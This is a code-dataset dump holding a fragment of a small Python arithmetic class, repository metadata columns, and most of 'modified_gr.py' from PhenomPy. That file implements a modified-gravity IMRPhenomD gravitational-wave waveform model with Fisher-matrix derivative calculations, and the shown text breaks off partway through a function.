def add(self, operand1, operand2):
"""
Adds two integers between 0 and 9
:param operand1:
:param operand2:
:return:
"""
self.result = operand1 + operand2
return self.result
@contract(operand1='int,>=0,<10', operand2='int,>=0,<10', returns='int')
def subtract(self, operand1, operand2):
"""
Subtracts two integers between 0 and 9
:param operand1:
:param operand2:
:return:
"""
self.result = operand1 - operand2
return self.result
| 28.576923
| 76
| 0.566622
| 82
| 743
| 5.085366
| 0.341463
| 0.119904
| 0.057554
| 0.230216
| 0.70024
| 0.70024
| 0.70024
| 0.70024
| 0.70024
| 0.70024
| 0
| 0.061657
| 0.30148
| 743
| 26
| 77
| 28.576923
| 0.741811
| 0.212651
| 0
| 0.333333
| 0
| 0
| 0.101833
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.25
| false
| 0
| 0.083333
| 0
| 0.583333
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f055e7b1c4c1f8a88d7d20e2315273833dccde33
| 132,445
|
py
|
Python
|
modified_gr.py
|
scottperkins/PhenomPy
|
5648d68feff11fc114d32dfdf126448697c20d68
|
[
"MIT"
] | 1
|
2019-12-15T04:45:33.000Z
|
2019-12-15T04:45:33.000Z
|
modified_gr.py
|
scottperkins/PhenomPy
|
5648d68feff11fc114d32dfdf126448697c20d68
|
[
"MIT"
] | 1
|
2019-12-16T13:01:40.000Z
|
2019-12-16T13:01:40.000Z
|
modified_gr.py
|
scottperkins/PhenomPy
|
5648d68feff11fc114d32dfdf126448697c20d68
|
[
"MIT"
] | 1
|
2019-12-15T07:40:29.000Z
|
2019-12-15T07:40:29.000Z
|
from phenompy.gr import IMRPhenomD
from phenompy.gr import Lambda
import autograd.numpy as np
import numpy
from scipy import integrate
from scipy.interpolate import CubicSpline,interp1d
import autograd.scipy.linalg as spla
import math
import csv
import os
import matplotlib.pyplot as plt
import multiprocessing as mp
from autograd import grad
from time import time
from functools import partial
from autograd.extend import primitive, defvjp
from autograd import elementwise_grad as egrad
import astropy.cosmology as cosmology
from astropy.coordinates import Distance
from astropy import units as u
import astropy.constants as consts
from scipy.interpolate import interp1d
from phenompy import utilities
from phenompy.noise_utilities import *
c = utilities.c
G = utilities.G
s_solm = utilities.s_solm
mpc = utilities.mpc
#Rewrite to accept array of parameters - then won't have to copy and paste for child classes
"""Child class of IMRPhenomD - adds ppE modification to the phase of the waveform in the entire frequency range-
extra arguments: phase_mod (=0), bppe (=-3) -> phi_ins = IMRPhenomD.phi_ins + phase_mod*(pi*chirpm*f)**(bppe/3), etc.
Calculation of the modification from Will '97 for the last, degeneracy calculations -> specific to massive gravity"""
class Modified_IMRPhenomD_Full_Freq(IMRPhenomD):
def __init__(self, mass1, mass2,spin1,spin2, collision_time,
collision_phase,Luminosity_Distance,phase_mod = 0,bppe = -3,
cosmo_model = cosmology.Planck15,NSflag = False,N_detectors = 1):
"""Populate model variables"""
self.N_detectors = N_detectors
self.NSflag = NSflag
self.cosmo_model = cosmo_model
self.DL = Luminosity_Distance
self.tc = float(collision_time)
self.phic = float(collision_phase)
self.symmratio = (mass1 * mass2) / (mass1 + mass2 )**2
self.chirpme = (mass1 * mass2)**(3/5)/(mass1 + mass2)**(1/5)
self.delta = utilities.calculate_delta(self.symmratio)
self.Z =Distance(Luminosity_Distance/mpc,unit=u.Mpc).compute_z(cosmology = self.cosmo_model)#.01
self.chirpm = self.chirpme*(1+self.Z)
self.M = utilities.calculate_totalmass(self.chirpm,self.symmratio)
self.m1 = utilities.calculate_mass1(self.chirpm,self.symmratio)
self.m2 = utilities.calculate_mass2(self.chirpm,self.symmratio)
self.totalMass_restframe = mass1+mass2
self.A0 =(np.pi/30)**(1/2)*self.chirpm**2/self.DL * (np.pi*self.chirpm)**(-7/6)
#self.A0 =(np.pi*40./192.)**(1/2)*self.chirpm**2/self.DL * (np.pi*self.chirpm)**(-7/6)
"""Spin Variables"""
self.chi1 = spin1
self.chi2 = spin2
self.chi_s = (spin1 + spin2)/2
self.chi_a = (spin1 - spin2)/2
"""Post Newtonian Phase"""
self.pn_phase = np.zeros(8)
for i in [0,1,2,3,4,7]:
self.pn_phase[i] = utilities.calculate_pn_phase(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1,i)
"""Numerical Fit Parameters"""
self.parameters =[]
for i in np.arange(len(Lambda)):
self.parameters.append(self.calculate_parameter(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
"""Post Newtonian Amplitude"""
self.pn_amp = np.zeros(7)
for i in np.arange(7):
self.pn_amp[i]=utilities.calculate_pn_amp(self.symmratio,self.delta,self.chi_a,self.chi_s,i)
"""Post Merger Parameters - Ring Down frequency and Damping frequency"""
self.fRD = utilities.calculate_postmerger_fRD(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fdamp = utilities.calculate_postmerger_fdamp(\
self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a)
self.fpeak = utilities.calculate_fpeak(self.M,self.fRD,self.fdamp,self.parameters[5],self.parameters[6])
"""Calculating the parameters for the intermediate amplitude region"""
self.param_deltas = np.zeros(5)
for i in np.arange(5):
self.param_deltas[i] = self.calculate_delta_parameter(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i)
"""Only modifications to the system variables are below:
-beta1
-beta0
-phase_mod
-bppe
-var_arr"""
#################################################################################
"""Phase continuity parameters"""
"""Must be done in order - beta1,beta0,alpha1, then alpha0"""
self.phase_mod = float(phase_mod)
self.bppe = bppe
self.beta1 = self.phase_cont_beta1(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.phase_mod)
self.beta0 = self.phase_cont_beta0(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.beta1,self.phase_mod)
self.alpha1 = self.phase_cont_alpha1(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.phase_mod)
self.alpha0 = self.phase_cont_alpha0(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.alpha1,self.phase_mod)
self.var_arr = [self.A0,self.phic,self.tc,self.chirpm,self.symmratio,self.chi_s,self.chi_a,self.phase_mod]
def phase_cont_beta1(self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
f1 = 0.018/M
pn_phase =[]
for x in np.arange(len(self.pn_phase)):
pn_phase.append(self.assign_pn_phase(chirpm,symmratio,delta,chi_a,chi_s,f1,x))
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
sigma2 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,8)
sigma3 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,9)
sigma4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,10)
#ins_grad = egrad(self.phi_ins,0)(f1,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod)
#int_grad = egrad(self.phi_int,0)(f1,M,symmratio,0,0,beta2,beta3,chirpm,phase_mod)
ins_grad = self.Dphi_ins(f1,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod)
int_grad = self.Dphi_int(f1,M,symmratio,0,0,beta2,beta3,chirpm,phase_mod)
return ((1/M)*ins_grad*symmratio
-symmratio/M*int_grad)
def phase_cont_beta0(self,chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
f1 = 0.018/M
pn_phase =[]
for x in np.arange(len(self.pn_phase)):
pn_phase.append(self.assign_pn_phase(chirpm,symmratio,delta,chi_a,chi_s,f1,x))
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
sigma2 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,8)
sigma3 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,9)
sigma4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,10)
return self.phi_ins(f1,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod)*symmratio \
- symmratio*self.phi_int(f1,M,symmratio,0,beta1,beta2,beta3,chirpm,phase_mod)
def phase_cont_alpha1(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
f2 = fRD*0.5
#int_grad = egrad(self.phi_int,0)(f2,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod)
#mr_grad = egrad(self.phi_mr,0)(f2,chirpm,symmratio,0,0,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod)
int_grad = self.Dphi_int(f2,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod)
mr_grad = self.Dphi_mr(f2,chirpm,symmratio,0,0,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod)
return (1/M)*int_grad*symmratio \
-(symmratio/M)*mr_grad
def phase_cont_alpha0(self,chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
f2 = fRD*0.5
return self.phi_int(f2,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod) *symmratio \
- symmratio*self.phi_mr(f2,chirpm,symmratio,0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod)
######################################################################################
"""Added Phase Modification"""
def phi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).phi_ins(f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase) + phase_mod*(chirpm*np.pi*f)**(self.bppe/3))
def Dphi_ins(self,f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).Dphi_ins(f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase)+phase_mod*(chirpm*np.pi)**(self.bppe/3)*f**(self.bppe/3-1)*(self.bppe/3))
def phi_int(self,f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).phi_int(f,M,symmratio,beta0,beta1,beta2,beta3))+phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
def Dphi_int(self,f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).Dphi_int(f,M,symmratio,beta0,beta1,beta2,beta3)+phase_mod*(chirpm*np.pi)**(self.bppe/3)*f**(self.bppe/3-1)*(self.bppe/3))
def phi_mr(self,f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).phi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp))+phase_mod*(chirpm*np.pi*f)**(self.bppe/3)
def Dphi_mr(self,f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod):
return (super(Modified_IMRPhenomD_Full_Freq,self).Dphi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp)+phase_mod*(chirpm*np.pi)**(self.bppe/3)*f**(self.bppe/3-1)*(self.bppe/3))
######################################################################################
"""Added phase mod argument for derivatives - returns the same as GR"""
def amp_ins_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,phase_mod):
return super(Modified_IMRPhenomD_Full_Freq,self).amp_ins_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
def amp_int_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,phase_mod):
return super(Modified_IMRPhenomD_Full_Freq,self).amp_int_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
def amp_mr_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,phase_mod):
return super(Modified_IMRPhenomD_Full_Freq,self).amp_mr_vector(f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a)
######################################################################################
"""Only added phase_mod to the arguments of beta1 and beta0 - Otherwise, exact copy of GR model method"""
def phase_mr_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
m1 = self.assign_mass1(chirpm,symmratio)
m2 = self.assign_mass2(chirpm,symmratio)
delta = self.assign_delta(symmratio)
fRD = self.assign_fRD(m1,m2,M,symmratio,chi_s,chi_a)
fdamp = self.assign_fdamp(m1,m2,M,symmratio,chi_s,chi_a)
fpeak = self.assign_fpeak(M,fRD,fdamp,self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,5),self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,6))
beta1 = self.assign_beta1(chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod)
beta0 = self.assign_beta0(chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod)
alpha1 = self.assign_alpha1(chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,phase_mod)
alpha0 = self.assign_alpha0(chirpm,symmratio,chi_a,chi_s,fRD,fdamp,beta0,beta1,alpha1,phase_mod)
alpha2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,15)
alpha3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,16)
alpha4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,17)
alpha5 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,18)
return self.phi_mr(f,chirpm,symmratio,alpha0,alpha1,alpha2,alpha3,alpha4,alpha5,fRD,fdamp,phase_mod)
"""Uses overriden phi_ins method - added phase_mod arg"""
def phase_ins_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
m1 = self.assign_mass1(chirpm,symmratio)
m2 = self.assign_mass2(chirpm,symmratio)
delta = self.assign_delta(symmratio)
fRD = self.assign_fRD(m1,m2,M,symmratio,chi_s,chi_a)
sigma2 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,8)
sigma3 =self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,9)
sigma4 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,10)
pn_phase= []
for i in [0,1,2,3,4,5,6,7]:
pn_phase.append( self.assign_pn_phase(chirpm,symmratio,delta,chi_a,chi_s,f,i))
return self.phi_ins(f,phic,tc,chirpm,symmratio,delta,chi_a,chi_s,sigma2,sigma3,sigma4,pn_phase,phase_mod)
"""Added phase_mod arg to beta parameter calls"""
def phase_int_vector(self,f,A0,phic,tc,chirpm,symmratio,chi_s,chi_a,phase_mod):
M = self.assign_totalmass(chirpm,symmratio)
m1 = self.assign_mass1(chirpm,symmratio)
m2 = self.assign_mass2(chirpm,symmratio)
delta = self.assign_delta(symmratio)
fRD = self.assign_fRD(m1,m2,M,symmratio,chi_s,chi_a)
beta1 = self.assign_beta1(chirpm,symmratio,delta,phic,tc,chi_a,chi_s,phase_mod)
beta0 = self.assign_beta0(chirpm,symmratio,delta,phic,tc,chi_a,chi_s,beta1,phase_mod)
beta2 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,12)
beta3 = self.assign_lambda_param(chirpm,symmratio,chi_a,chi_s,13)
return self.phi_int(f,M,symmratio,beta0,beta1,beta2,beta3,chirpm,phase_mod)
"""Added derivatives for all the mod phi arguments - """
def calculate_derivatives(self):
"""Pre-calculate Derivatives here - (Order does matter - parameter functions may be functions of system constants)
If the variable is instantiated as an array, a derivate array for each system variable is created and is cycled through
(ie Lambda paramaters is parameters[i] and has derivate arrays parameters_deriv_symmratio etc).
If the variable is a single value, the variable has one array of derivates, the elements of which are the derivatives wrt
various system variables (ie M -> M_deriv[i] for symmratio and chripm etc)
-M
-m1
-m2
-Lambda parameters
-pn_amp
-pn_phase
-delta parameters (intermediate amplitude parameters)
-fRD
-fdamp
-fpeak
-delta (mass parameter)
-phase continuitiy variables (beta1,beta0,alpha1,alpha0)
"""
self.total_mass_deriv = []
for i in range(2):
self.total_mass_deriv.append(grad(utilities.calculate_totalmass,i)(self.chirpm,self.symmratio))
self.mass1_deriv = []
for i in range(2):
self.mass1_deriv.append(grad(utilities.calculate_mass1,i)(self.chirpm,self.symmratio))
self.mass2_deriv = []
for i in range(2):
self.mass2_deriv.append(grad(utilities.calculate_mass2,i)(self.chirpm,self.symmratio))
self.lambda_derivs_symmratio=[]
self.lambda_derivs_chirpm = []
self.lambda_derivs_chi_a = []
self.lambda_derivs_chi_s = []
for i in np.arange(len(Lambda)):
self.lambda_derivs_chirpm.append(grad(self.calculate_parameter,0)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_symmratio.append(grad(self.calculate_parameter,1)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_chi_a.append(grad(self.calculate_parameter,2)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.lambda_derivs_chi_s.append(grad(self.calculate_parameter,3)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_symmratio = []
self.pn_amp_deriv_delta = []
self.pn_amp_deriv_chi_a = []
self.pn_amp_deriv_chi_s = []
for i in np.arange(len(self.pn_amp)):
self.pn_amp_deriv_symmratio.append(grad(utilities.calculate_pn_amp,0)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_delta.append(grad(utilities.calculate_pn_amp,1)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_chi_a.append(grad(utilities.calculate_pn_amp,2)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_amp_deriv_chi_s.append(grad(utilities.calculate_pn_amp,3)(self.symmratio,self.delta,self.chi_a,self.chi_s,i))
self.pn_phase_deriv_chirpm = []
self.pn_phase_deriv_symmratio = []
self.pn_phase_deriv_delta = []
self.pn_phase_deriv_chi_a = []
self.pn_phase_deriv_chi_s = []
for i in np.arange(len(self.pn_phase)):
self.pn_phase_deriv_chirpm.append(grad(utilities.calculate_pn_phase,0)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_symmratio.append(grad(utilities.calculate_pn_phase,1)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_delta.append(grad(utilities.calculate_pn_phase,2)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_chi_a.append(grad(utilities.calculate_pn_phase,3)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
self.pn_phase_deriv_chi_s.append(grad(utilities.calculate_pn_phase,4)(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,1.1,i))
"""Delta Parameters take up ~50 percent of the total time"""
temp1 = grad(self.calculate_delta_parameter,0)
temp2 = grad(self.calculate_delta_parameter,1)
temp3 = grad(self.calculate_delta_parameter,2)
temp4 = grad(self.calculate_delta_parameter,3)
temp5 = grad(self.calculate_delta_parameter,4)
temp6 = grad(self.calculate_delta_parameter,5)
temp7 = grad(self.calculate_delta_parameter,6)
temp8 = grad(self.calculate_delta_parameter,7)
self.param_deltas_derivs_chirpm = list(map(lambda i:temp1(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_symmratio = list(map(lambda i:temp2(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_delta = list(map(lambda i:temp3(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_chi_a = list(map(lambda i:temp4(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_chi_s = list(map(lambda i:temp5(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_fRD = list(map(lambda i:temp6(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_fdamp = list(map(lambda i:temp7(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
self.param_deltas_derivs_f3 = list(map(lambda i:temp8(self.chirpm,self.symmratio,self.delta,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.fpeak,i), np.arange(5) ))
# print("deltas: {}".format(time()-start))
self.fRD_deriv = []
for i in range(6):
self.fRD_deriv.append(grad(utilities.calculate_postmerger_fRD,i)(self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a))
self.fdamp_deriv = []
for i in range(6):
self.fdamp_deriv.append(grad(utilities.calculate_postmerger_fdamp,i)(self.m1,self.m2,self.M,self.symmratio,self.chi_s,self.chi_a))
self.fpeak_deriv = []
for i in range(5):
self.fpeak_deriv.append(grad(utilities.calculate_fpeak,i)(self.M,self.fRD,self.fdamp,self.parameters[5],self.parameters[6]))
"""Only deviations from original IMRPhenomD are below: extra derivative for beta1,beta0, and extra log_factor"""
########################################################################################################################
self.delta_deriv = grad(utilities.calculate_delta)(self.symmratio)
self.beta1_deriv = []
self.beta0_deriv = []
self.alpha1_deriv = []
self.alpha0_deriv = []
for i in range(8):
self.beta1_deriv.append(grad(self.phase_cont_beta1,i)(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.phase_mod))
for i in range(9):
self.beta0_deriv.append(grad(self.phase_cont_beta0,i)(self.chirpm,self.symmratio,self.delta,self.phic,self.tc,self.chi_a,self.chi_s,self.beta1,self.phase_mod))
for i in range(9):
self.alpha1_deriv.append(grad(self.phase_cont_alpha1,i)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.phase_mod))
for i in range(10):
self.alpha0_deriv.append(grad(self.phase_cont_alpha0,i)(self.chirpm,self.symmratio,self.chi_a,self.chi_s,self.fRD,self.fdamp,self.beta0,self.beta1,self.alpha1,self.phase_mod))
"""Populate array with variables for transformation from d/d(theta) to d/d(log(theta)) - begins with 0 because fisher matrix variables start at 1, not 0"""
self.log_factors = [0,self.A0,1,1,self.chirpm,self.symmratio,1,1,1]
"""Function for actual element integrand - 4*Re(dh/dtheta_i* dh/dtheta_j) - Vectorized
-added extra mod_phi argument"""
def calculate_waveform_derivative_vector(self,freq,i):
famp = self.split_freqs_amp(freq)
fphase = self.split_freqs_phase(freq)
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
phasefunc = [self.phase_ins_vector,self.phase_int_vector,self.phase_mr_vector]
"""Check to see if every region is sampled - if integration frequency
doesn't reach a region, the loop is trimmed to avoid issues with unpopulated arrays"""
jamp=[0,1,2]
jphase=[0,1,2]
if len(famp[0]) == 0:
if len(famp[1])==0:
jamp = [2]
else:
if len(famp[2])==0:
jamp = [1]
else:
jamp = [1,2]
if len(famp[2])==0:
if len(famp[1]) == 0:
jamp = [0]
else:
if len(famp[0])==0:
jamp = [1]
else:
jamp = [0,1]
if len(fphase[0]) == 0:
if len(fphase[1])==0:
jphase = [2]
else:
if len(fphase[2])==0:
jphase = [1]
else:
jphase = [1,2]
if len(fphase[2])==0:
if len(fphase[1]) == 0:
jphase = [0]
else:
if len(fphase[0])==0:
jphase = [1]
else:
jphase = [0,1]
# jamp = [0,1,2]
# for i in np.arange(len(famp)):
# if len(famp[i]) == 0:
# jamp[i] = -1
# jamp = [x for x in jamp if x != -1]
# jphase = [0,1,2]
# for i in np.arange(len(fphase)):
# if len(fphase[i]) == 0:
# jphase[i] = -1
# jphase = [x for x in jphase if x != -1]
#
var_arr= self.var_arr[:]
gamp = [[],[],[]]
amp = [[],[],[]]
phase = [[],[],[]]
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
phasefunc = [self.phase_ins_vector,self.phase_int_vector,self.phase_mr_vector]
"""Populate derivative vectors one region at a time"""
for j in jamp:
var_arr= self.var_arr[:]
famp[j], var_arr[i-1] = np.broadcast_arrays(famp[j],var_arr[i-1])
gamp[j]=( egrad(ampfunc[j],i)(famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7]))
var_arr= self.var_arr[:]
amp[j]= ampfunc[j](famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7])
for j in jphase:
var_arr= self.var_arr[:]
fphase[j], var_arr[i-1] = np.broadcast_arrays(fphase[j],var_arr[i-1])
phase[j]=( egrad(phasefunc[j],i)(fphase[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7]))
"""Concatenate the regions into one array"""
gampout,ampout,phaseout = [],[],[]
for j in jamp:
ampout = np.concatenate((ampout,amp[j]))
gampout = np.concatenate((gampout,gamp[j]))
for j in jphase:
phaseout = np.concatenate((phaseout,phase[j]))
"""Return the complex waveform derivative"""
return np.subtract(gampout,np.multiply(ampout,np.multiply(1j,phaseout)))
"""Calculate the waveform - vectorized
Outputs: amp vector, phase vector, (real) waveform vector
-added extra mod_phi argument"""
def calculate_waveform_vector(self,freq):
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
phasefunc = [self.phase_ins_vector,self.phase_int_vector,self.phase_mr_vector]
"""Check to see if every region is sampled - if integration frequency
doesn't reach a region, the loop is trimmed to avoid issues with unpopulated arrays"""
famp = self.split_freqs_amp(freq)
fphase = self.split_freqs_phase(freq)
jamp = [0,1,2]
for i in np.arange(len(famp)):
if len(famp[i]) == 0:
jamp[i] = -1
jamp = [x for x in jamp if x != -1]
jphase = [0,1,2]
for i in np.arange(len(fphase)):
if len(fphase[i]) == 0:
jphase[i] = -1
jphase = [x for x in jphase if x != -1]
var_arr= self.var_arr[:]
amp = [[],[],[]]
phase = [[],[],[]]
"""Populate derivative vectors one region at a time"""
for j in jamp:
amp[j]= ampfunc[j](famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7])
for j in jphase:
phase[j]=phasefunc[j](fphase[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7])
"""Concatenate the regions into one array"""
ampout,phaseout =[],[]
for j in jamp:
ampout = np.concatenate((ampout,amp[j]))
for j in jphase:
if phase[j] is not None:
phaseout = np.concatenate((phaseout,phase[j]))
"""Return the amplitude vector, phase vector, and real part of the waveform"""
return ampout,phaseout, np.multiply(ampout,np.cos(phaseout))
"""For expediated evaluation of snr"""
def calculate_waveform_amplitude_vector(self,freq):
"""Array of the functions used to populate derivative vectors"""
ampfunc = [self.amp_ins_vector,self.amp_int_vector,self.amp_mr_vector]
"""Check to see if every region is sampled - if integration frequency
doesn't reach a region, the loop is trimmed to avoid issues with unpopulated arrays"""
famp = self.split_freqs_amp(freq)
jamp = [0,1,2]
for i in np.arange(len(famp)):
if len(famp[i]) == 0:
jamp[i] = -1
jamp = [x for x in jamp if x != -1]
var_arr= self.var_arr[:]
amp = [[],[],[]]
"""Populate derivative vectors one region at a time"""
for j in jamp:
amp[j]= ampfunc[j](famp[j],var_arr[0],var_arr[1],var_arr[2],var_arr[3],var_arr[4],var_arr[5],var_arr[6],var_arr[7])
"""Concatenate the regions into one array"""
ampout=[]
